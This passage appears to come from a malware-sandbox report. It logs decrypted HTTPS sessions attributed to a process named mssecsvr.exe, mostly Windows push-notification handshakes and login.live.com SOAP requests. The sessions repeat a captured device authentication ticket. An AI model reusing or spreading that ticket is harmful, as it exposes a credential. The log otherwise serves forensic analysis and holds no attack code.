0f 29 52 6d 61 a9 bf f5 fb 34 25 4e 05 4e 44 f7 f8 5b 5e ca 8e 75 b2 e2 6c 45 ae 2f fe ba 68 1c 86 49 5f 22 07 15 f6 fc 3f bb 47 71 b4 56 72 a1 98 05 b1 24 01 76 c7 df 0b f7 e8 6e 15 c1 50 6f 73 a0 b0 fe fa 8a 29 c2 Data Ascii: xZ@g^p="D\|,}B;1=/`/vB.>{>ai/NV*m2S5&f'42$Nnr \|v5ic8d)%)-G}E@q TV<L)Rma4%NND[^ulE/hI_"?GqVr$vnPos)

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.7	54230	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:09:14 UTC	11172	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 34 61 37 64 37 31 34 66 38 66 32 64 66 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: ea4a7d714f8f2df2
2022-07-20 17:09:14 UTC	11172	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:09:14 UTC	11172	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 34 61 37 64 37 31 34 66 38 66 32 64 66 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: ea4a7d714f8f2df2<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:09:14 UTC	11173	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 34 61 37 64 37 31 34 66 38 66 32 64 66 32 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: ea4a7d714f8f2df2
2022-07-20 17:09:14 UTC	11173	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:09:14 UTC	11173	IN	Data Raw: 4d 53 2d 43 56 3a 20 46 66 66 45 34 44 47 75 52 6b 65 67 34 68 57 56 48 49 47 78 71 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: FffE4DGuRkeg4hWVHIGxqQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.7	54416	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:09:18 UTC	11173	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 38 61 33 64 33 65 62 31 31 39 38 34 61 37 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 28a3d3eb11984a7e
2022-07-20 17:09:18 UTC	11173	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:09:18 UTC	11174	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 38 61 33 64 33 65 62 31 31 39 38 34 61 37 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: 28a3d3eb11984a7e<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:09:18 UTC	11175	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 38 61 33 64 33 65 62 31 31 39 38 34 61 37 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 28a3d3eb11984a7e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:09:18 UTC	11175	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:09:18 UTC	11175	IN	Data Raw: 4d 53 2d 43 56 3a 20 63 62 41 43 45 77 4c 43 56 30 53 73 45 6d 44 5a 6e 65 38 75 59 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: cbACEwLCV0SsEmDZne8uYA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.7	58156	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:10:11 UTC	11175	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 61 33 34 63 31 37 36 30 35 61 62 32 66 39 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 9a34c17605ab2f96
2022-07-20 17:10:11 UTC	11175	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:10:11 UTC	11175	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 61 33 34 63 31 37 36 30 35 61 62 32 66 39 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: 9a34c17605ab2f96<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:10:11 UTC	11176	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 61 33 34 63 31 37 36 30 35 61 62 32 66 39 36 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 9a34c17605ab2f96
2022-07-20 17:10:11 UTC	11176	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:10:11 UTC	11176	IN	Data Raw: 4d 53 2d 43 56 3a 20 46 77 66 77 73 6b 46 62 66 6b 53 65 58 49 61 2f 74 46 4f 55 65 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: FwfwskFbfkSeXIa/tFOUew.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.7	58458	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:10:16 UTC	11176	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 64 32 63 39 62 63 39 38 64 39 38 62 33 61 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 4d2c9bc98d98b3ac
2022-07-20 17:10:16 UTC	11176	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:10:16 UTC	11176	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 64 32 63 39 62 63 39 38 64 39 38 62 33 61 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: 4d2c9bc98d98b3ac<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:10:16 UTC	11178	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 64 32 63 39 62 63 39 38 64 39 38 62 33 61 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 4d2c9bc98d98b3ac<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:10:16 UTC	11178	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:10:16 UTC	11178	IN	Data Raw: 4d 53 2d 43 56 3a 20 34 2f 4b 52 57 47 69 2b 39 55 4f 59 62 78 72 70 62 34 4a 71 73 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 4/KRWGi+9UOYbxrpb4JqsA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	49867	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:07:01 UTC	83	OUT	GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-ad1da8b04cd0?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 17:07:01 UTC	83	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 2626 Content-Type: image/png Last-Modified: Mon, 30 Aug 2021 15:07:35 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RTY2MTJGOUU" MS-CV: 43KkWTor8EuznZWC.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 17:07:01 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 17:07:01 UTC	84	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 02 d3 50 4c 54 45 1d b9 54 23 ba 58 35 c0 66 48 c6 74 54 ca 7e 5f cd 86 6a d1 8f 70 d2 93 73 d3 95 77 d5 98 75 d4 97 72 d3 94 6e d2 91 66 cf 8b 5b cc 82 50 c8 7a 41 c4 6f 2f be 62 1e b9 55 39 c1 69 6d d1 91 99 df b1 c1 ec d0 e9 f8 ee ff ff ff fb fd fc db f4 e4 b2 e7 c5 8a da a6 5a cb 82 28 bc 5c af e6 c2 e7 f7 ed fd fe fd d4 f1 de 97 de b0 56 ca 7f 22 ba 58 33 bf 64 7d d6 9d c9 ee d6 fe fe fe f3 fb f6 ae e6 c1 61 ce 87 20 ba 56 63 ce 89 bd ea cd ef fa f2 9c e0 b4 43 c4 70 2b bd 5e 86 d9 a3 e7 f7 ec c7 ed d4 60 cd 86 2d be 60 96 de af f4 fb f6 6b d1 8f 27 bc 5c 90 dc ab d8 f3 e2 63 ce 88 e8 f8 ee c4 ec d2 44 c5 72 42 c4 70 cc ef d8 fc fe fc 98 df b1 25 Data Ascii: PNGIHDR,,N~GPLTET#X5fHtT~_jpswurnf[PzAo/bU9imZ(\V"X3d}a VcCp+^`-`k'\cDrBp%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.7	64727	20.190.160.15	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:11:22 UTC	11178	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 17:11:22 UTC	11178	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:11:22 UTC	11188	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:10:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 36c3bca9-afc8-48ca-b448-961fc5c1bbd2 PPServer: PPV: 30 H: BL02PF40C23CC94 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:11:22 GMT Connection: close Content-Length: 10109
2022-07-20 17:11:22 UTC	11188	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.7	64726	20.190.160.15	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:11:22 UTC	11183	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 17:11:22 UTC	11183	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
